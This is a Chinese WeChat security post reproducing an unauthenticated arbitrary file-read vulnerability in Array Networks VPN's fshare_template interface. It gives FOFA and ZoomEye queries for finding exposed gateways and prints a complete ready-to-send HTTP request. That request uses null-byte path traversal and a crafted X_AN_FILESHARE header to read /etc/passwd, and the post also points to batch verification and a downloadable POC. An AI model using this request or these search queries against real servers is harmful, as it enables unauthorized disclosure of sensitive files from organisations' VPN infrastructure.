声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！
现在只对常读和星标的公众号才展示大图推送，建议大家把猫蛋儿安全“设为星标”，否则可能看不到了！
作者前言
写poc的手稿被注释了，如果你有兴趣，你可以试着自己写一下这个poc，来感受下python-requests包的坑，hack_requests包维护人少的无奈，以及tcp，sockets层面ssl握手的知识，相信你会对协议有更深刻的认识。
最终解决方案，不肝了，也不想改原生包，url编码绕过，结束。
漏洞简介
Array的 fshare_template 接口可构造特定的请求包进行未授权任意文件读取，从而造成服务器敏感信息泄露。
指纹识别
fofa：product="Array-VPN"Zoomeye: app:"Array Networks secure access gateways VPN server httpd" +country:"CN"
漏洞验证
访问主页：
POC：
GET /prx/000/http/localhost/client_sec/%00../../../addfolder HTTP/1.1Host:Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99"Sec-Ch-Ua-Mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36Sec-Ch-Ua-Platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9X_AN_FILESHARE: uname=t; password=t; sp_uname=t; flags=c3248;fshare_template=../../../../../../../../etc/passwdConnection: close
发送POC：
批量验证
漏洞收录
漏洞已收录于团队内部漏洞库（建设于2019年），现已收集4000+实战漏洞
现仅供团队内部使用，每月随机抽取关注者加入社群交流学习。
回复关键字【POC】获取POC下载链接
点击下方名片进入公众号，欢迎关注！
点个小赞你最好看
原文始发于微信公众号（猫蛋儿安全）：【一个写了两个小时非常值得学习的POC】【漏洞复现】ArrayVPN fshare_template 任意文件读取
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论